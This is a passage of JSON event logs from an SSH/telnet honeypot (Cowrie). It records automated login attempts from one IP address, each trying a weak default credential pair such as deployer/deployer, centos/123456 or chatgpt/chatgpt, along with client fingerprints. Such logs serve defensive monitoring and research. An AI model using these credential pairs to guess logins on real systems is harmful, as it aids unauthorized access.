{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:16.597040Z","src_ip":"45.153.34.112","session":"45d955e82bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:16.680444Z","src_ip":"45.153.34.112","session":"45d955e82bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:16.928492Z","src_ip":"45.153.34.112","session":"45d955e82bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:18.015462Z","src_ip":"45.153.34.112","session":"45d955e82bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.414875984191895,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:19.484884Z","src_ip":"192.119.13.58","session":"49dc47bfd881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40436,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f8392f3d27","protocol":"ssh","message":"New connection: 45.153.34.112:40436 (10.17.0.5:22) [session: 51f8392f3d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:20.084731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:20.089190Z","src_ip":"45.153.34.112","session":"51f8392f3d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:20.171371Z","src_ip":"45.153.34.112","session":"51f8392f3d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:20.416934Z","src_ip":"45.153.34.112","session":"51f8392f3d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:21.558995Z","src_ip":"45.153.34.112","session":"51f8392f3d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.689618825912476,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:23.191041Z","src_ip":"192.119.13.58","session":"5c9f95d2d4aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40442,"dst_ip":"10.17.0.5","dst_port":22,"session":"29528091c975","protocol":"ssh","message":"New connection: 45.153.34.112:40442 (10.17.0.5:22) [session: 29528091c975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:23.495278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:23.528573Z","src_ip":"45.153.34.112","session":"29528091c975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:23.579325Z","src_ip":"45.153.34.112","session":"29528091c975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:23.906070Z","src_ip":"45.153.34.112","session":"29528091c975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:24.999373Z","src_ip":"45.153.34.112","session":"29528091c975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53098,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3d23037567","protocol":"telnet","message":"New connection: 192.119.13.58:53098 (10.17.0.5:23) [session: 4e3d23037567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:26.631459Z"}
{"eventid":"cowrie.session.closed","duration":44.88050961494446,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:26.905124Z","src_ip":"192.119.13.58","session":"ad33c683b85f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40450,"dst_ip":"10.17.0.5","dst_port":22,"session":"e90cc26b1ce6","protocol":"ssh","message":"New connection: 45.153.34.112:40450 (10.17.0.5:22) [session: e90cc26b1ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:27.128936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:27.134005Z","src_ip":"45.153.34.112","session":"e90cc26b1ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:27.217498Z","src_ip":"45.153.34.112","session":"e90cc26b1ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:27.464720Z","src_ip":"45.153.34.112","session":"e90cc26b1ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.409367084503174,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:27.513971Z","src_ip":"192.119.13.58","session":"f60b0b93e2b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:28.644477Z","src_ip":"45.153.34.112","session":"e90cc26b1ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33658,"dst_ip":"10.17.0.5","dst_port":23,"session":"170ddc107c1f","protocol":"telnet","message":"New connection: 192.119.13.58:33658 (10.17.0.5:23) [session: 170ddc107c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:29.559013Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33720,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cbafb495873","protocol":"telnet","message":"New connection: 192.119.13.58:33720 (10.17.0.5:23) [session: 0cbafb495873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:29.581333Z"}
{"eventid":"cowrie.session.closed","duration":43.47771501541138,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:30.412885Z","src_ip":"192.119.13.58","session":"aef17feddc4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52186,"dst_ip":"10.17.0.5","dst_port":22,"session":"64dc57a70979","protocol":"ssh","message":"New connection: 45.153.34.112:52186 (10.17.0.5:22) [session: 64dc57a70979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:30.707844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:30.713340Z","src_ip":"45.153.34.112","session":"64dc57a70979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:30.796430Z","src_ip":"45.153.34.112","session":"64dc57a70979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:31.046930Z","src_ip":"45.153.34.112","session":"64dc57a70979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:32.235831Z","src_ip":"45.153.34.112","session":"64dc57a70979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46142,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d79e5a84c47","protocol":"telnet","message":"New connection: 192.119.13.58:46142 (10.17.0.5:23) [session: 6d79e5a84c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:33.605275Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52190,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6edc9093dbc","protocol":"ssh","message":"New connection: 45.153.34.112:52190 (10.17.0.5:22) [session: a6edc9093dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:34.032853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:34.037505Z","src_ip":"45.153.34.112","session":"a6edc9093dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:34.122696Z","src_ip":"45.153.34.112","session":"a6edc9093dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:34.520741Z","src_ip":"45.153.34.112","session":"a6edc9093dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:35.746281Z","src_ip":"45.153.34.112","session":"a6edc9093dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52206,"dst_ip":"10.17.0.5","dst_port":22,"session":"16659a2fe4d8","protocol":"ssh","message":"New connection: 45.153.34.112:52206 (10.17.0.5:22) [session: 16659a2fe4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:37.673767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:37.679110Z","src_ip":"45.153.34.112","session":"16659a2fe4d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:37.762543Z","src_ip":"45.153.34.112","session":"16659a2fe4d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:38.013880Z","src_ip":"45.153.34.112","session":"16659a2fe4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60930,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ee3e0c86cb0","protocol":"telnet","message":"New connection: 192.119.13.58:60930 (10.17.0.5:23) [session: 7ee3e0c86cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:38.133873Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35216,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a086edcdfd","protocol":"telnet","message":"New connection: 192.119.13.58:35216 (10.17.0.5:23) [session: 57a086edcdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:38.867920Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:39.100702Z","src_ip":"45.153.34.112","session":"16659a2fe4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55916,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8d5c066a6a7","protocol":"ssh","message":"New connection: 45.153.34.112:55916 (10.17.0.5:22) [session: f8d5c066a6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:41.289522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:41.293869Z","src_ip":"45.153.34.112","session":"f8d5c066a6a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh